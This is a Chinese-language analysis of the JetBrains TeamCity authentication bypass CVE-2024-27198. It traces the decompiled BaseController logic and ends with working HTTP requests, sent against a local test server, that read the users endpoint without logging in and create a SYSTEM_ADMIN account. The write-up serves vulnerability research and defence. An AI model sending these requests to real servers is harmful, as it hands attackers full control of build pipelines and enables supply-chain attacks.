漏洞简介
JetBrains TeamCity 是一款由 JetBrains 公司开发的持续集成和持续交付服务器。它提供了强大的功能和工具,旨在帮助开发团队构建、测试和部署他们的软件项目
JetBrains TeamCity发布新版本修复了两个高危漏洞JetBrains TeamCity 身份验证绕过漏洞(CVE-2024-27198)与JetBrains TeamCity 路径遍历漏洞(CVE-2024-27199)。未经身份验证的远程攻击者利用CVE-2024-27198可以绕过系统身份验证,创建管理员账户,完全控制所有TeamCity项目、构建、代理和构件,为攻击者执行供应链攻击。远程攻击者利用该漏洞能够绕过身份认证在系统上执行任意代码。
Note: The JetBrains release blog for 2023.11.4 appears to display different publication dates based on the time zone of the reader. Some readers see that it was released March 3, while others see March 4. We've modified our language above to note that Rapid7 saw the release blog on March 4, regardless of what time it was released.
参考连接
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED) | Rapid7 Blog
版本下载Other Versions - TeamCity
漏洞分析
漏洞类web-openapi.jar下的
jetbrains.buildServer.controllers.BaseController
public abstract class BaseController extends AbstractController {
// ...snip...
public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
try {
ModelAndView modelAndView = this.doHandle(request, response);
if (modelAndView != null) {
if (modelAndView.getView() instanceof RedirectView) {
modelAndView.getModel().clear();
} else {
this.updateViewIfRequestHasJspParameter(request, modelAndView);
}
}
// ...snip...
在这个方法中当处理后返回的modelAndView视图类型不为RedirectView,则会调用updateViewIfRequestHasJspParameter
如:在访问一个需要认证的接口,服务器返回401,重定向用户路径login.html。
但是我们在访问一个不存在的路径,服务器返回404 非Redirect ,这样就可以绕过上面的限制执行到updateViewIfRequestHasJspParameter
跟入updateViewIfRequestHasJspParameter
private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {
boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
String jspFromRequest = this.getJspFromRequest(request);
if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
modelAndView.setViewName(jspFromRequest);
}
}
白话文解释一下,modelAndView的不为空 请求的路径不以jsp结尾,isControllerRequestWithViewName将为真
这里我们猜测一下当用户请求一个不存在的资源,服务器统一返回404页面,这个内部的ServletPath 很有可能是404.html,不是jsp结尾 。因此isControllerRequestWithViewName可为真
继续分析getJspFromRequest
protected String getJspFromRequest(@NotNull HttpServletRequest request) {
String jspFromRequest = request.getParameter("jsp");
return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}
requests是我们可控的量,因此这里我们可以控制有jsp参数!,是以jsp结尾的! 不包含admin/。最终返回的数据jspFromRequest是jsp=xxx 这是我们可控的量。
jspFromRequest是我们控制的量 ,且我们可以正常进入if语句中,
因此可以调用modelAndView.setViewName(jspFromRequest);实现updateView的操作。
我们可以利用这个机制绕过接口验证,达到调用任意接口的目的
漏洞复现
如下给出payload
GET /xxx?jsp=/app/rest/users/;.jsp HTTP/1.1 Host: 127.0.0.1:8111 sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24" X-TeamCity-SW-Cache: graphql sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36 Content-Type: application/json Accept: application/json X-TeamCity-Client: Web UI X-Requested-With: XMLHttpRequest sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8111/admin/admin.html?item=users Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close
一共有三点
1,请求xxx 是绕过重定向
2,;.jsp绕过请求后缀是jsp的限制
3,jsp=xxxx 这里就可以填上我们想要访问的接口了
也可以进行一些敏感的操作,如添加用户账号
POST /xxx?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 127.0.0.1:8111
Accept: */*
Content-Type: application/json
Content-Length: 124
Connection: close
{"username": "test6666", "password": "test6666", "email": "", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}